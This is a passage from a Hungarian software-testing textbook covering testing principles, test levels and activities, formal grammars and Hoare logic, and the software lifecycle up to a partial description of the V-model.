Informatika | Tesztelés, Minőségbiztosítás » Ficsor-Kovács - Szoftvertesztelés

Szoftvertesztelés Készítették: Ficsor Lajos (4,5,7 fejezet) Dr. Kovács László (1, 10 fejezet) Krizsán Zoltán (8, 11 fejezet) Dr. Kusper Gábor (1, 2, 3, 6, 9 fejezet) Tartalomjegyzék 1 A tesztelés alapjai 2 Tesztelés a szoftver életciklusán át 3 Statikus technikák 4 Teszt tervezési technikák 5 Integrációs teszt 6 Biztonsági tesztelés 7 Tesztmenedzsment 8 Eszköztámogatás a tesztelésben 9 Hibakövető rendszerek 10 Adatbázisok tesztelése 11 Esettanulmány 1 A tesztelés alapfogalmai Tesztelésre azért van szükség, hogy a szoftver termékben meglévő hibákat még az üzembe helyezés előtt megtaláljuk, ezzel növeljük a termék minőségét, megbízhatóságát. Abban szinte biztosak lehetünk, hogy a szoftverben van hiba, hiszen azt emberek fejlesztik és az emberek hibáznak. Gondoljunk arra, hogy a legegyszerűbb programban, mondjuk egy szöveges menü kezelésben, mennyi hibát kellett kijavítani, mielőtt

működőképes lett. Tehát abban szinte biztosak lehetünk, hogy tesztelés előtt van hiba, abban viszont nem lehetünk biztosak, hogy tesztelés után nem marad hiba. A tesztelés után azt tudjuk elmondani, hogy a letesztelt részekben nincs hiba, így nő a program megbízhatósága. Ez azt is mutatja, hogy a program azon funkcióit kell tesztelni, amiket a felhasználók legtöbbször fognak használni. 1.1 A tesztelés alapelvei A tesztelés alapjait a következő alapelvekben foglalhatjuk össze: 1. A tesztelés hibák jelenlétét jelzi: A tesztelés képes felfedni a hibákat, de azt nem, hogy nincs hiba. Ugyanakkor a szoftver minőségét és megbízhatóságát növeli 2. Nem lehetséges kimerítő teszt: Minden bemeneti kombinációt nem lehet letesztelni (csak egy 10 hosszú karakterláncnak 256^10 lehetséges értéke van) és nem is érdemes. Általában csak a magas kockázatú és magas prioritású részeket teszteljük. 3. Korai teszt: Érdemes a tesztelést az

életciklus minél korábbi szakaszában elkezdeni, mert minél hamar találunk meg egy hibát (mondjuk a specifikációban), annál olcsóbb javítani. Ez azt is jelenti, hogy nemcsak programot, hanem dokumentumokat is lehet tesztelni. 4. Hibák csoportosulása: A tesztelésre csak véges időnk van, ezért a tesztelést azokra a modulokra kell koncentrálni, ahol a hibák a legvalószínűbbek, illetve azokra a bemenetekre kell tesztelnünk, amelyre valószínűleg hibás a szoftver (pl. szélsőértékek) 5. A féregirtó paradoxon: Ha az újratesztelés során (lásd később a regressziós tesztet) mindig ugyanazokat a teszteseteket futtatjuk, akkor egy idő után ezek már nem találnak több hibát (mintha a férgek alkalmazkodnának a teszthez). Ezért a tesztjeinket néha bővíteni kell 6. A tesztelés függ a körülményektől: Másképp tesztelünk egy atomerőműnek szánt programot és egy beadandót. Másképp tesztelünk, ha a tesztre 10 napunk vagy csak egy

éjszakánk van. 7. A hibátlan rendszer téveszméje: Hiába javítjuk ki a hibákat a szoftverben, azzal nem lesz elégedett a megrendelő, ha nem felel meg az igényeinek. Azaz használhatatlan szoftvert nem érdemes tesztelni. 1.2 Tesztelési technikák A tesztelési technikákat csoportosíthatjuk a szerint, hogy a teszteseteket milyen információ alapján állítjuk elő. E szerint létezik: 1-1 • Feketedobozos (black-box) vagy specifikáció alapú, amikor a specifikáció alapján készülnek a tesztesetek. • Fehérdobozos (white-box) vagy strukturális teszt, amikor a forráskód alapján készülnek a tesztesetek. Tehát beszélünk feketedobozos tesztelésről, amikor a tesztelő nem látja a forráskódot, de a specifikációkat igen, fehérdobozos tesztelésről, amikor a forráskód rendelkezésre áll. A feketedobozos tesztelést specifikáció alapúnak is nevezzük, mert a specifikáció alapján készül. Ugyanakkor a teszt futtatásához szükség van a

lefordított szoftverre. Leggyakoribb formája, hogy egy adott bemenetre tudjuk, milyen kimenetet kellene adni a programnak. Lefuttatjuk a programot a bemenetre és összehasonlítjuk a kapott kimenetet az elvárttal. Ezt alkalmazzák pl az ACM versenyeken is. A fehérdobozos tesztelést strukturális tesztelésnek is nevezzük, mert mindig egy már kész struktúrát, pl. program kódot, tesztelünk A strukturális teszt esetén értelmezhető a (struktúra) lefedettség. A lefedettség azt mutatja meg, hogy a struktúra hány százalékát tudjuk tesztelni a meglévő tesztesetekkel. Általában ezeket a struktúrákat teszteljük: • kódsorok, • elágazások, • metódusok, • osztályok, • funkciók, • modulok. Például a gyakran használt unit-teszt a metódusok struktúra tesztje. 1.3 A tesztelés szintjei A tesztelés szintjei a következők: • komponensteszt, • integrációs teszt, • rendszerteszt, • átvételi teszt. A komponensteszt csak a rendszer egy

komponensét teszteli önmagában. Az integrációs teszt kettő vagy több komponens együttműködési tesztje. A rendszerteszt az egész rendszert, tehát minden komponenst együtt, teszteli. Ez első három teszt szintet együttesen fejlesztői tesztnek 1-2 hívjuk, mert ezeket a fejlesztő cég alkalmazottai vagy megbízottjai végzik. Az átvételi teszt során a felhasználók a kész rendszert tesztelik. Ezek általában időrendben is így követik egymást A komponensteszt a rendszer önálló részeit teszteli általában a forráskód ismeretében (fehér dobozos tesztelés). Gyakori fajtái: • unit-teszt, • modulteszt. A unit-teszt, vagy más néven egységteszt, a metódusokat teszteli. Adott paraméterekre ismerjük a metódus visszatérési értékét (vagy mellékhatását). A unit-teszt megvizsgálja, hogy a tényleges visszatérési érték megegyezik-e az elvárttal. Ha igen, sikeres a teszt, egyébként sikertelen Elvárás, hogy magának a unit-tesztnek ne

legyen mellékhatása. A unit-tesztelést minden fejlett programozási környezet (integrated development environment, IDE) támogatja, azaz egyszerű ilyen teszteket írni. A jelentőségüket az adja, hogy a futtatásukat is támogatják, így egy változtatás után csak lefuttatjuk az összes unit-tesztet, ezzel biztosítjuk magunkat, hogy a változás nem okozott hibát. Ezt nevezzük regressziós tesztnek A modulteszt általában a modul nem-funkcionális tulajdonságát teszteli, pl. sebességét, vagy, hogy van-e memóriaszivárgás (memory lake), van-e szűk keresztmetszet (bottleneck). Az integrációs teszt során a komponensek közti interfészeket, az operációs rendszer és a rendszer közti interfészt, illetve más rendszerek felé nyújtott interfészeket tesztelik. Az integrációs teszt legismertebb típusai: • Komponens – komponens integrációs teszt: A komponensek közötti kölcsönhatások tesztje a komponensteszt után. • Rendszer – rendszer

integrációs teszt: A rendszer és más rendszerek közötti kölcsönhatásokat tesztje a rendszerteszt után. Az integrációs teszt az összeillesztés során keletkező hibákat keresi. Mivel a részeket más-más programozók, csapatok fejlesztették, ezért az elégtelen kommunikációból súlyos hibák keletkezhetnek. Gyakori hiba, hogy az egyik programozó valamit feltételez (pl a metódus csak pozitív számokat kap a paraméterében), amiről a másik nem tud (és meghívja a metódust egy negatív értékkel). Ezek a hibák kontraktus alapú tervezéssel (design by contract) elkerülhetőek Az integrációs teszteket érdemes minél hamarabb elvégezni, mert minél nagyobb az integráció mértéke, annál nehezebb meghatározni, hogy a fellelt hiba (általában egy futási hiba) honnan származik. Ellenkező esetben, azaz amikor már minden komponens kész és csak akkor tesztelünk, akkor ezt a „nagy bumm tesztnek” (big bang tesztnek) nevezzük, ami rendkívül

kockázatos. A rendszerteszt a már kész szoftverterméket teszteli, hogy megfelel-e: • a követelmény specifikációnak, 1-3 • a funkcionális specifikációnak, • a rendszertervnek. A rendszerteszt nagyon gyakran feketedobozos teszt. Gyakran nem is a fejlesztő cég, ahol esetleg elfogultak a tesztelők, hanem egy független cég végzi. Ilyenkor a tesztelők és a fejlesztők közti kapcsolat tartást egy hibabejelentő (bug trucking) rendszer látja el. A rendszerteszt feladata, hogy ellenőrizze, hogy a specifikációknak megfelel-e a termék. Ha pl a követelmény specifikáció azt írja, hogy lehessen jelentést készíteni az éve forgalomról, akkor ezt a tesztelők kipróbálják, hogy lehete, és hogy helyes-e a jelentés. Ha hibát találnak, azt felviszik a hibabejelentő rendszerbe Fontos, hogy a rendszerteszthez használt környezet a lehető legjobban hasonlítson a megrendelő környezetére, hogy a környezet-specifikus hibákat is sikerüljön

felderíteni. Az átvételi teszt hasonlóan a rendszerteszthez az egész rendszert teszteli, de ezt már a végfelhasználók végzik. Az átvételi teszt legismertebb fajtái a következők: • alfa teszt, • béta teszt, • felhasználói átvételi teszt, • üzemeltetői átvételi teszt. Az alfa teszt a kész termék tesztje a fejlesztő cégnél, de nem a fejlesztő csapat által. Ennek része, amikor egy kis segédprogram több millió véletlen egérkattintással ellenőrzi, hogy össze-vissza kattintgatva sem lehet kifektetni a programot. Ezután következik a béta teszt. A béta tesztet a végfelhasználók egy szűk csoportja végzi Játékoknál gyakori, hogy a kiadás előtt néhány fanatikus játékosnak elküldik a játékot, akik rövid alatt sokat játszanak vele. Cserébe csak azt kérik, hogy a felfedezett hibákat jelentsék Ezután jön egy sokkal szélesebb béta teszt, amit felhasználói átvételi tesztnek nevezünk. Ekkor már az összes, vagy majdnem

az összes felhasználó, megkapja a szoftvert és az éles környezetben használatba veszi. Azaz installálják és használják, de még nem a termelésben Ennek a tesztnek a célja, hogy a felhasználók meggyőződjenek, hogy a termék biztonságosan használható lesz majd éles körülmények között is. Itt már elvárt, hogy a fő funkciók mind működjenek, de előfordulhat, hogy az éles színhelyen előjön olyan környezet függő hiba, ami a teszt környezetben nem jött elő. Lehet ez pl. egy funkció lassúsága Ezután már csak az üzemeltetői átvételi teszt van hátra. Ekkor a rendszergazdák ellenőrzik, hogy a biztonsági funkciók, pl. a biztonsági mentés és a helyreállítás, helyesen működnek-e 1.4 A tesztelési tevékenység Ugyanakkor a tesztelés nem csak tesztek készítéséből és futtatásából áll. A leggyakoribb tesztelési tevékenységek: 1-4 • tesztterv elkészítése, • tesztesetek tervezése, • felkészülés a

végrehajtásra, • tesztek végrehajtása, • kilépési feltételek vizsgálata, • eredmények értékelése, • jelentéskészítés. A tesztterv fontos dokumentum, amely leírja, hogy mit, milyen céllal, hogyan kell tesztelni. A tesztterv általában a rendszerterv része, azon belül is a minőségbiztosítás (quality assurance, QA) fejezethez tartozik. A teszt célja lehet: • megtalálni a hibákat, • növelni a megbízhatóságot, • megelőzni a hibákat. A fejlesztői tesztek célja általában minél több hiba megtalálása. Az átvételi teszt célja, hogy a felhasználók bizalma nőjön a megbízhatóságban. A regressziós teszt célja, hogy megelőzni, hogy a változások a rendszer többi részében hibákat okozzanak. A tesztterv elkészítéséhez a célon túl tudni kell, hogy mit és hogyan kell tesztelni, mikor tekintjük a tesztet sikeresnek. Ehhez ismernünk kell a következő fogalmakat: • A teszt tárgya: A rendszer azon része, amelyet

tesztelünk. ez lehet az egész rendszer is • Tesztbázis: Azon dokumentumok összessége, amelyek a teszt tárgyára vonatkozó követelményeket tartalmazzák. • Tesztadat: Olyan adat, amivel meghívjuk a teszt tárgyát. Általában ismert, hogy milyen értéket kellene erre adnia a teszt tárgyának vagy milyen viselkedést kellene produkálnia. Ez az elvárt visszatérési érték, illetve viselkedés. A valós visszatérési értéket, illetve viselkedést hasonlítjuk össze az elvárttal. • Kilépési feltétel: Minden tesztnél előre meghatározzuk, mikor tekintjük ezt a tesztet lezárhatónak. Ezt nevezzük kilépési feltételnek A kilépési feltétel általában az, hogy minden tesztest sikeresen lefut, de lehet az is, hogy a kritikus részek tesztlefedettsége 100%. A tesztterv leírja a teszt tárgyát, kigyűjti a tesztbázisból a teszt által lefedett követelményeket, meghatározza a kilépési feltételt. A tesztadatokat általában csak a teszteset

határozzák meg, de gyakran a tesztesetek is részei a teszttervnek. 1-5 A tesztesetek leírják, hogy milyen tesztadattal kell meghajtani a teszt tárgyát. Illetve, hogy mi az elvárt visszatérési érték vagy viselkedés. A tesztadatok meghatározásához általában úgynevezett ekvivalencia-osztályokat állítunk fel. Egy ekvivalencia-osztály minden elemére a szoftver ugyanazon része fut le. Természetesen más módszerek is léteznek, amikre később térünk ki A tesztesetek végrehajtásához teszt környezetre van szükségünk. A teszt környezet kialakításánál törekedni kell, hogy a lehető legjobban hasonlítson az éles környezetre, amely a végfelhasználónál működik. A felkészülés során írhatunk teszt szkripteket is, amik az automatizálást segítik A tesztek végrehajtása során teszt naplót vezetünk. Ebbe írjuk le, hogy milyen lépéseket hajtottunk végre és milyen eredményeket kaptunk. A tesz napló alapján a tesztnek

megismételhetőnek kell lennie. Ha hibát találunk, akkor a hibabejelentőt a teszt napló alapján töltjük ki A tesztek után meg kell vizsgálni, hogy sikeresen teljesítettük-e a kilépési feltételt. Ehhez a tesztesetben leírt elvárt eredményt hasonlítjuk össze a teszt naplóban lévő valós eredménnyel a kilépési feltétel alapján. Ha kilépési feltételek teljesülnek, akkor mehetünk tovább Ha nem, akkor vagy a teszt tárgya, vagy a kilépési feltétel hibás. Ha kell, akkor módosítjuk a kilépési feltételt Ha teszt tárgya hibás, akkor a hibabejelentő rendszeren keresztül értesítjük a fejlesztőket. A teszteket addig ismételjük, míg mindegyik kilépési feltétele igaz nem lesz. A tesztek eredményei alapján további teszteket készíthetünk. Elhatározhatjuk, hogy a megtalált hibákhoz hasonló hibákat felderítjük. Ezt általában a teszttervek elő is írják Dönthetünk úgy, hogy egy komponenst nem érdemes tovább tesztelni, de egy

másikat tüzetesebben kell tesztelni. Ezek a döntések a teszt irányításához tartoznak. Végül jelentést kell készítenünk. Itt arra kell figyelnünk, hogy sok programozó kritikaként éli meg, ha a kódjában a tesztelők hibát találnak. Úgy érzi, hogy rossz programozó és veszélyben van az állása. Ezért a tesztelőket nem várt támadások érhetik Ennek elkerülésére a jelentésben nem szabad személyeskedni, nem muszáj látnia főnöknek, kinek a kódjában volt hiba. A hibákat rá lehet fogni a rövid időre, a nagy nyomásra. Jó, ha kiemeljük a tesztelők és a fejlesztők közös célját, a magas minőségű, hibamentes szoftver fejlesztését. 1.5 A programkód formális modellje Számos tesztelési módszer a program forráskódjának elemzésén alapul. Ez az alpont a vonatkozó legfontosabb alapismereteket foglalja össze. A programozási nyelvek egyik fontos jellemzője a szigorú szerkezet, a viszonylag egyszerűbb strukturáltság. Mindkét

jellemző abból fakad, hogy olyan nyelvet lehet automatikus feldolgozásra, értelmezésre kiválasztani, amely • hatékonyan feldolgozható egy automatával; • elegendő kifejező ereje van az algoritmusok leírására. A programnyelvek egy mesterséges nyelvnek tekinthetők, melyek teljesítik a fenti feltételeket. A programozási nyelvek elméleti hátterét a formális nyelvek területe fedi le. 1-6 1.51 A forráskód szintaktikai ellenőrzése Az formális nyelvek mondatok szavakból, jelekből történő felépítését írják le. Formálisan a formális nyelv egy párossal írható le, melyben adott az alapjelek halmaza és a képezhető, elfogadott mondatok halmaza. A mondatok halmaza az összes képezhető véges jelsorozatok halmazának részhalmazaként értelmezhető. Σ: jelek halmaza L ⊆ Σ* : nyelv A nyelvek esetében egy nyelvtan írja le a jelhalmazból képzett és a nyelv által elfogadott mondatok halmazát. A nyelvtan leírja a mondatok képzési

szabályait A szabályok alapvetően AB alakúak, ahol a szimbólumok mondat egységeket jelölnek. A szimbólumok vonatkozásában megkülönböztetünk • atomi szimbólumokat (ezek a jelek, a Σ elemei) • összetett szimbólumokat (nagyobb egységeket fog össze) A nyelvtan formális alakja az alábbi kifejezéssel adható meg G = (T, N, R, S) ahol • T : atomi, terminális szimbólumok halmaza • N: összetett szimbólumok halmaza • R: szabályok halmaza • S: mondat szimbólum, mely az N eleme. Az egyes nyelvtanok lényegesen különbözhetnek egymástól a szabályok összetettségét tekintve. A formális nyelvek nyelvtanának legismertebb osztályozási rendszere a Chomsky kategorizálás. A Chomsky hierarchia négy nyelvtan osztályt különböztet meg: 1-7 • reguláris nyelvek: a szabályok A aB alakúak; • környezet függő nyelvek: a szabályok A X* alakúak; • környezet függő nyelvek: a szabályok UAV UX*V alakúak; • általános nyelvek:

nincs megkötés a szabályokra. A kifejezésekben a kisbetűs elemek atomi szimbólumot, a nagybetűs elemek összetett szimbólumokat jelölnek. Az X egy tetszőleges szimbólum A programozási nyelvek alapvetően a reguláris nyelvek osztályába tartoznak. Egy SQL DELETE parancs esetében például az alábbi szabályokat kell alkalmazni, ahol a példában egy –egy szót is atomi szimbólumnak tekintünk. S = delete R R = from Q Q = ?tabla P Q = ?tabla P = where O O = ?feltétel A mintában a ? jel mögött egy újabb egység van, melyhez önálló saját értelmezési nyelvtan tartozik. A nyelvtan alapján egy bejövő mondathoz meghatározható, hogy illeszkedik-e a megadott nyelvtanra vagy sem. A reguláris nyelvtanok esetében az ellenőrzés egyik lehetséges eszköze egy FSA automata alkalmazása. A véges automaták olyan rendszert jelentenek, mely tartalmaz • állapot elemeket (az elemzés egyes fázisait szimbolizálják) • állapot átmeneteket • eseményeket Az

események az egyes állapot átmenetekhez köthetők. Az automata működési elve az alábbi alapelemeken nyugszik: 1-8 • induláskor egy induló állapotban van a rendszer • egy esemény bekövetkezésekor állapot átmenet valósul meg: az aktuális állapotból azon átmeneten megy tovább, melyhez a bejövő esemény tartozik • az automata egy végállapot elérésekor áll le A szintaktika ellenőrzéskor a végállapot lehet egy elfogadó vagy egy elvető (hiba) állapot. Az automaták a működés jellege szerint több csoportba kategorizálhatjuk, fő típusai: • véges automata • determinisztikus automata • fuzzy automata Az előzőekben ismertetett reguláris nyelvek megvalósíthatók véges automatákkal így az értelmezés folyamata egy automatával végrehajtható. Az automata működési modellje egy táblázattal foglalható össze, melyben az alábbi oszlopok szerepelnek: • induló állapot • esemény • célállapot Az esemény a forráskód

elemzésénél a soron következő beolvasott jelet (szót) jelöli. A DELETE parancs setében az alábbi táblázat alapján működhet az értelmező: S delete R S * Hiba! R from Q R * Hiba! Q ?tábla P Q * Hiba! P # OK! P where O P * Hiba! O ?feltétel OK! O * Hiba! 1-9 A táblázatban * jel jelöli az egyéb eseményeket és # jel a mondat vége eseménynek felel meg. 1.52 Forráskód szemantikai ellenőrzése A szintaktikai elemzés azt vizsgálja, hogy a kód, mint mondatok sorozata érvényes-e, megfelel-e a nyelvtan szabályainak. A nyelvtanilag érvényes mondatsor azonban nem biztos, hogy az elvárt tartalmú tevékenységet végzi el. Emiatt a szintaktikai helyesség nem garantálja a tartalmi, szemantikai helyességet. A szemantikai helyesség ellenőrzése sokkal összetettebb feladat, mint a szintaktika ellenőrzése, hiszen nem áll rendelkezésre olyan szemantikai nyelvtan, amellyel össze lehetne vetni a leírt kódot. A kód

ugyan karaktersorozatnak fele meg a forrásállományban, de a tartalom szempontjából más egységek strukturálható. A kód szokásos reprezentációs alakjai: • szavak sorozata (szintaktikai ellenőrzéshez), • utasítások hierarchiája, • végrehajtási gráf. • A hierarchia reprezentáció arra utal, hogy a szavakból rendszerint egy nagyobb utasítás egység áll össze, és az utasítások legtöbbször egymásba ágyazhatók. A fontosabb algoritmus szerkezeti elemek: • modul (rutin) • szekvencia • elágazás • ciklus A hierarchikus szerkezetet jelzi, hogy egy elágazás tartalmazhat • szekvenciát, • elágazást, • ciklust. Tehát a program algoritmusa strukturálisan rekurzív felépítésű. A algoritmus megadása mellet a program másik fő egysége az adatstruktúra leírása. Az adatstruktúra esetében is ez hierarchikus szerkezettel találkozhatunk. A főbb adattárolási egységek: • skalár • tömb • halmaz 1-10 • rekord • fa

Itt is igaz, hogy egyes egységek más adatelemeket magukba foglalhatnak. A hierarchia reprezentáció a program statikus szerkezeté írja le, a program azonban egy végrehajtási szerkezet ad meg. A program hagyományos végrehajtása során mindig van egy kitüntetett utasítás, mely végrehajtás alatt áll. Ez az aktuális utasítás vándorol a program futása alatt. Egy adott utasításból egy vagy több más utasításba kerülhet át a vezérlés A végrehajtási gráf formalizmusban az egyes utasításokat mint csomópontokat vesszük, és a vezérlés átadásokat a gráf éleit szimbolizálják. A gráfban található egy jelölő elem, token, mely mutatja az aktuális utasítás helyét. A program futása jól nyomon követhető a gráfban a token mozgását követve. A gráf formalizmus tehát a program dinamikus jellegét mutatja A program helyességének biztosítása a szoftverfejlesztés egyik legfontosabb feladata. A tesztelés folyamata, mely során ellenőrzésre

kerül a program helyessége sokféleképpen értelmezhető. A tesztelést végezhető szisztematikus próbálkozásokkal is, de ha nem sikerül minden lehetséges esetet lefedni, akkor ez a módszer nem garantálhatja a program teljeskörű helyességét. Csak olyam megoldás adhat biztonságot, amely bizonyíthatóan le tudja fedni a lehetséges eseteket. Érezhető, ezen igényt csak egy matematikailag megalapozott módszer tudná biztosítani. Érdekes kérdés, hogy van-e ilyen matematikai formalizmus és az vajon alkalmazható-e a gyakorlati méretű feladatokban. A következő részben a tesztelés formális megközelítésének alapjait tekintjük át röviden. A formális tesztelés elméleti alapjait Hoare fektette le 1969-ben, bevezetve az axiomatikus szemantika terület fogalmát, melynek célja a programok viselkedésének leírása és helyességük bizonyítása. Az axiomatikus szemantika alapvetően a matematikai logika eszközrendszerére épül és egyik alapeleme a

megkötés, assertion fogalma. Az assertion egy olyan állítás, predikátum, amelyet a programnak valamely pontjában teljesítenie kell. A modell további lényeges elemei az előfeltételek (precondition) és az végfeltételek (postcondition). A módszer tehát nem önmagában vizsgálja a program helyességét, keretfeltételek mellett végzi az ellenőrzést. Felteszi, hogy indulás előtt igaz a precondition és végén teljesülnie kell a postcondition megkötésnek. A program tehát egy {P} s {Q} hármassal adott, ahol P : precondition s : source (forráskód) Q: postcondition. 1-11 Természetesen a P és Q részek lehetnek mindig teljesülő kifejezések is. A Hoare formalizmus célja a program részleges helyességének ellenőrzése, tehát annak bizonyítása, hogy ha P teljesül, akkor az s végrehajtása után Q is teljesülni fog. A módszer a matematikai logika eszközrendszerére alapozva P-ből kiindulva az s elemeinek felhasználásával levezeti a Q

helyességét. A levezetés logikában megszokott implikációs szabályokra épít, melyeket (p1,p2,p3, ) q alakban lehet megadni és azt jelzi, hogy ha teljesülnek a p1,p2,p3 logikai kifejezések, akkor a q állítás is teljesül. A levezetési szabályok egy s program esetén az alábbi típusokat fedik le: - hozzárendelés (assignment rule) szekvencia (sequence rule) ugrás (skip rule) feltételes elágazás (conditional rule) ciklus (loop rule) Mivel a Q levezetése a P-ből több lépésen keresztül történhet csak, a bizonyítás egy levezetési fával írható le. Példaként a feltételes utasításhoz tartozó szabályt véve, az implikáció a következő alakot ölti: ({t ∧ P} s1 {Q}, {¬ t ∧ P} s2 {Q} ) {P} if (t) s1 else s2 {Q} A feldolgozás egy további eleme a feltételek erősítése vagy gyengítése. A precondition erősítése formalizmusa: ( P ⊃ P’, {P’}s{Q}) {P} s {Q} Például ez alapján vezethető le az alábbi összefüggés: ( a > b

⊃ a = max(a,b), {a = max(a,b)} m = a{m = max(a,b)}) {a>b} m=a {m=max(a,b)} A fenti példákból is jól látható, hogy a Hoare formalizmus a helyesség ellenőrzését igen absztrakt szinten végzi és igen körülményes és költséges a levezetési fa felépítése. Emiatt a módszert napjainkban még csak kisebb méretű feladatoknál alkalmazzák és a gyakorlati rendszerekben döntően a heurisztikus módszerek dominálnak. 1-12 Tartalomjegyzék 1 A tesztelés alapfogalmai . 1-1 1.1 A tesztelés alapelvei . 1-1 1.2 Tesztelési technikák. 1-1 1.3 A tesztelés szintjei . 1-2 1.4 A tesztelési tevékenység . 1-4 1.5 A programkód formális modellje . 1-6 1.51 A forráskód szintaktikai ellenőrzése . 1-7 1.52 Forráskód szemantikai ellenőrzése . 1-10 1-13 2 A tesztelés helye a szoftver életciklusában Ebben a fejezetben röviden áttekintjük a szoftver életciklusát és az ezt meghatározó legfontosabb módszertanokat. Külön

kiemeljük a tesztelés helyét az életciklusban és a módszertanokban is. 2.1 A szoftverkrízis A tesztelés szükségességét, mint annyi mást, a szoftverkrízis (software crisis) húzta alá. A szoftverkrízis alatt azt értjük, hogy a szoftver projektek jelentős része sikertelen. Sikertelen a következő értelemben: • Vagy a tervezettnél drágábban készül el (over budget), • Vagy a tervezetnél hosszabb idő alatt (over time), • Vagy nem az igényeknek megfelelő, • Vagy rossz minőségű / rossz hatásfokú / nehezen karbantartható, • Vagy anyagi / környezeti / egészségügyi kárhoz vezet, • Vagy átadásra sem kerül. Ezek közül a tesztelés a minőségi problémákra ad választ, illetve a károkozás megelőzésében segít. Tehát tesztelésre azért van szükség, hogy a szoftver termékben meglévő hibákat még az üzembe helyezés előtt megtaláljuk, ezzel növeljük a termék minőségét, megbízhatóságát. Abban szinte biztosak

lehetünk, hogy a szoftverben van hiba, hiszen azt emberek fejlesztik és az emberek hibáznak. Gondoljunk arra, hogy a legegyszerűbb programban, mondjuk egy szöveges menü kezelésben, mennyi hibát kellett kijavítani, mielőtt működőképes lett. Tehát abban szinte biztosak lehetünk, hogy tesztelés előtt van hiba, abban viszont nem lehetünk biztosak, hogy tesztelés után nem marad hiba. A tesztelés után azt tudjuk elmondani, hogy a letesztelt részekben nincs hiba, így nő a program megbízhatósága. Ez azt is mutatja, hogy a program azon funkcióit kell tesztelni, amiket a felhasználók legtöbbször fognak használni. 2.2 A szoftver életciklusa A szoftver életciklus (Software Development Life Cycle (SDLC)) a szoftverrel egy idős fogalom. Ha átadunk egy szoftvert a felhasználóknak, akkor a felhasználók előbb vagy utóbb újabb igényekkel állnak elő, ami a szoftver továbbfejlesztését teszi szükségessé. Tehát egy szoftver soha sincs kész,

ciklikusan meg-megújul. Ezt nevezzük életciklusnak Az életciklus lépéseit a módszertanok határozzák meg. Ezeket később fejtjük ki Itt egy általános életciklust tekintünk át. A szoftverfejlesztés életciklusa (zárójelben a legfontosabb elkészítendő termékek): 2-1 • A felhasználókban új igény merül fel. • Az igények, követelmények elemzése, meghatározása (követelmény specifikáció). • Rendszerjavaslat kidolgozása (funkcionális specifikáció, szerződéskötés). • Rendszerspecifikáció (megvalósíthatósági tanulmány, nagyvonalú rendszerterv). • Logikai és fizikai tervezés (logikai- és fizikai rendszerterv). • Implementáció (szoftver). • Tesztelés (tesztterv, tesztesetek, teszt napló, validált szoftver). • Rendszerátadás és bevezetés (felhasználói dokumentáció). • Üzemeletetés és karbantartás (rendszeres mentés). • A felhasználókban új igény merül fel. . ábra Életciklus Látható, hogy az

első lépés és az utolsó ugyanaz. Ez biztosítja a ciklikusságot Elvileg egy hasznos szoftvernek végtelen az életciklusa. Gyakorlatilag a szoftver és futási környezete 2-2 elöregszik. Előbb-utóbb már nem lesz programozó, aki ismerné a programozási nyelvet, amin íródott (ilyen probléma van manapság a COBOL programokkal), a futtató operációs rendszerhez nincsenek frissítések, a meghibásodott hardver elemeket nem lehet pótolni. Az ilyen IT rendszereket hívjuk „legacy system”-nek (kiöregedett, hagyaték rendszernek). Valahol itt van vége az életciklusnak. Az életciklus egyes lépéseit részletesebben is kifejtjük 2.3 Módszertanok A módszertanok feladata, hogy meghatározzák, hogy a szoftver életciklus egyes lépései milyen sorrendben követik egymást, milyen dokumentumokat, szoftver termékeket kell előállítani és hogyan. Egy nagy szabálykönyvre emlékeztetnek, ami pontosan leírja, hogyan kell szoftvert „főzni”. Ha betartjuk a

receptet, akkor egy átlagos minőségű szoftvert kapunk, de az átlagos minőség garantált. A következőkben azokat a módszertanokat ismertetjük, amelyek különösen nagy hangsúlyt fektetnek a tesztelésre. 2.4 V-modell A V-modell (angolul: V-Model vagy Vee Model) a nevét onnan kapta, hogy két szára van és így egy V betűhöz hasonlít. Az egyik szára megegyezik a vízesés modellel Ez a fejlesztési szár A másik szára a létrejövő termékek tesztjeit tartalmazza. Ez a tesztelési szár Az egy szinten lévő fejlesztési és tesztelési lépések összetartoznak, azaz a tesztelési lépés a fejlesztési lépés során létrejött dokumentumokat használja, vagy a létrejött terméket teszteli. Ennek megfelelően az előírt fejlesztési és tesztelési lépések a következők: 2-3 A V-modell a vízesés modell kiegészítése teszteléssel. Ez azt jelenti, hogy először végre kell hajtani a fejlesztés lépéseit, ezután jönnek a tesztelés lépései.

Ha valamelyik teszt hibát talál, akkor vissza kell menni a megfelelő fejlesztési lépésre. A V-modell hasonlóan a vízesés modellhez nagyon merev, de alkalmazói kevésbé ragaszkodnak ehhez a merevséghez, mint a vízesés modell alkalmazói. Ennek megfelelően jobban elterjedt. Fő jellemzője a teszt központi szerepe Egy tipikus V-modell változatban először felmérjük az igényeket és elkészítjük a követelmény specifikációt. Ezt üzleti elemzők végzik, akik a megrendelő és a fejlesztők fejével is képesek gondolkozni. A követelmény specifikációban jól meghatározott átvételi kritériumokat fogalmaznak meg, amik lehetnek funkcionális és nemfunkcionális igények is. Ez lesz majd az alapja a felhasználói átvételi tesztnek (User Acceptance Test, UAT). Magát a követelmény specifikációt is tesztelik. A felhasználók tüzetesen átnézik az üzleti elemzők segítségével, hogy ténylegesen minden igényüket lefedi-e a dokumentum. Ez

lényeges része a modellnek, mert a folyamatban visszafelé haladni nem lehet, és ha rossz a követelmény specifikáció, akkor nem az igényeknek megfelelő szoftver fog elkészülni. Ezzel szemben például a prototípus modellben lehet pongyola az igényfelmérés, mert az a prototípusok során úgyis pontosításra kerül. Ezután következik a funkcionális specifikáció elkészítése, amely leírja, hogyan kell majd működnie a szoftvernek. Ez lesz a rendszerteszt alapja Ha a funkcionális specifikáció azt írja, 2-4 hogy a „Vásárol gomb megnyomására ki kell írni a kosárban lévő áruk értékét”, akkor a rendszertesztben lesz egy vagy több teszteset, amely ezt teszteli. Például, ha üres a kosár, akkor az árnak nullának kell lennie. Ezután következik a rendszerterv, amely leírja, hogy az egyes funkciókat hogyan, milyen komponensekkel, osztályokkal, metódusokkal, adatbázissal fogjuk megvalósítani. Ez lesz a komponens teszt egyik alapja. A

